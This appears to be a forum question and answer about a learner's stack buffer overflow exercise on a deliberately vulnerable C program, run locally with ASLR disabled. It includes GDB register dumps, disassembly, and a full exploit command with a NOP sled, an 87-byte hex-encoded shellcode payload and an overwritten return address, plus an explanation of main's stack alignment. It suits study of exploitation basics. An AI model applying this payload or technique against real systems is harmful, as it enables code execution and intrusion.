I am working through some buffer overflow exploit examples and have written a basic vulnerable C app to test with: (target and attacker is the same Kali 2 machine and have run "echo "0" > /proc/sys/kernel/randomize_va_space")
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
char buffer[256];
if (argc != 2)
{
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
Now, with some testing in GDB i can cause a seg fault by putting 260 bytes in the buffer:
r $(python -c 'print "A" * 204 + "BBBB" + "C" * 52')
with the registers showing:
eax 0x105 261
ecx 0xffffd300 -11520
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0xffffd300 0xffffd300
ebp 0x0 0x0
esi 0x0 0
edi 0x0 0
eip 0x42424242 0x42424242
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
I think i can successfully gain control of EIP, given the 0x424242 above (although EBP is 0x0??)
Question 1.
With a buffer of 260 bytes, EIP is overridden as above. If using:
r $(python -c 'print "A" * 512')
i am finding that the SEGSEGV is at 0x080484b4 with registers
eax 0x201 513
ecx 0x41414141 1094795585
edx 0xf7fb3878 -134530952
ebx 0xf7fb2000 -134537216
esp 0x4141413d 0x4141413d
ebp 0x41414141 0x41414141
esi 0x0 0
edi 0x0 0
eip 0x80484b4 0x80484b4 <main+89>
eflags 0x10286 [ PF SF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
I would have thought that if the 260 gains control of EIP, shouldn't the 512 byte example as well? Why does the 512 scenario allow the EIP to point to the ret in this case instead of the 0x424242 as in the 260 bytes buffer example above??
Question 2.
I have created a payload that is 87 bytes. I have injected the payload into the initial 204 bytes as below
r $(python -c 'print "\x90" * (204-87) + "<87 byte payload>" + "EIP <address>" + "\x90" * (260-204-4)')
My disas main is as follows
0x0804845b <+0>: lea 0x4(%esp),%ecx
0x0804845f <+4>: and $0xfffffff0,%esp
0x08048462 <+7>: pushl -0x4(%ecx)
0x08048465 <+10>: push %ebp
0x08048466 <+11>: mov %esp,%ebp
0x08048468 <+13>: push %ecx
0x08048469 <+14>: sub $0x104,%esp
0x0804846f <+20>: mov %ecx,%eax
0x08048471 <+22>: cmpl $0x2,(%eax)
0x08048474 <+25>: je 0x8048480 <main+37>
0x08048476 <+27>: sub $0xc,%esp
0x08048479 <+30>: push $0x0
0x0804847b <+32>: call 0x8048340 <exit@plt>
0x08048480 <+37>: mov 0x4(%eax),%eax
0x08048483 <+40>: add $0x4,%eax
0x08048486 <+43>: mov (%eax),%eax
0x08048488 <+45>: sub $0x8,%esp
0x0804848b <+48>: push %eax
0x0804848c <+49>: lea -0x108(%ebp),%eax
0x08048492 <+55>: push %eax
0x08048493 <+56>: call 0x8048310 <strcpy@plt>
0x08048498 <+61>: add $0x10,%esp
0x0804849b <+64>: sub $0xc,%esp
0x0804849e <+67>: lea -0x108(%ebp),%eax
0x080484a4 <+73>: push %eax
0x080484a5 <+74>: call 0x8048320 <puts@plt>
0x080484aa <+79>: add $0x10,%esp
0x080484ad <+82>: mov -0x4(%ebp),%ecx
0x080484b0 <+85>: leave
0x080484b1 <+86>: lea -0x4(%ecx),%esp
=> 0x080484b4 <+89>: ret
Putting a break on 56 (0x08048493) and examining the ESP x/2wx $esp i can find that:
0xffffd220: 0xffffd230 0xffffd56b
and x/s 0xffffd56b
0xffffd56b: 'A' <repeats 117 times>, 'B' <repeats 83 times>...
(gdb)
0xffffd633: "BBBBCCCC", 'D' <repeats 52 times>
so, can deduce (hopefully correctly) that EIP should be \x6b\xd5\xff\xff to call the exploit, and substituting all pieces as below (using nop sled):
r $(python -c 'print "\x90" * (204-87) + "\x48\x31\xc9\x48\x81\xe9\xfa\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\xa9\xb2\x8c\x21\x7d\xac\xb1\x84\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xc3\x89\xd4\xb8\x35\x17\x9e\xe6\xc0\xdc\xa3\x52\x15\xac\xe2\xcc\x20\x55\xe4\x0c\x1e\xac\xb1\xcc\x20\x54\xde\xc9\x75\xac\xb1\x84\x86\xd0\xe5\x4f\x52\xdf\xd9\x84\xff\xe5\xc4\xa8\x9b\xa3\xb4\x84" + "\x6b\xd5\xff\xff" + "\x90" * (260-204-4)')
Unfortunately, the program is now just terminating normally with "[Inferior 1 (process 2863) exited normally]". Am i missing something or just way off the correct path...? Also i notice breaks no do not break in the statement above?
-- Edit
Reworded to make more sense after walking away from the hours at the screen :)
Notice that the original stack pointer is saved on the stack and it is restored just before the ret
. So if you overwrite the stack you might also overwrite the stack pointer which will be used for the ret
. main
is special this way, because it has stack alignment code in the prologue.
That said, the expected behavior is actually the second case and the first is the special one. Your string happens to be just the right length so the terminating zero overwrites the low byte of the saved stack pointer which is just enough to make it point a little lower in memory, but still within your string. The exact location will depend on stack layout, it won't always be your BBBB
, in fact for me it's somewhere in the AAAA
part. Note that even with ASLR off, stack layout might change due to environment so even if you get an exploit working in gdb it might not work reliably, or at all, from a shell.
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With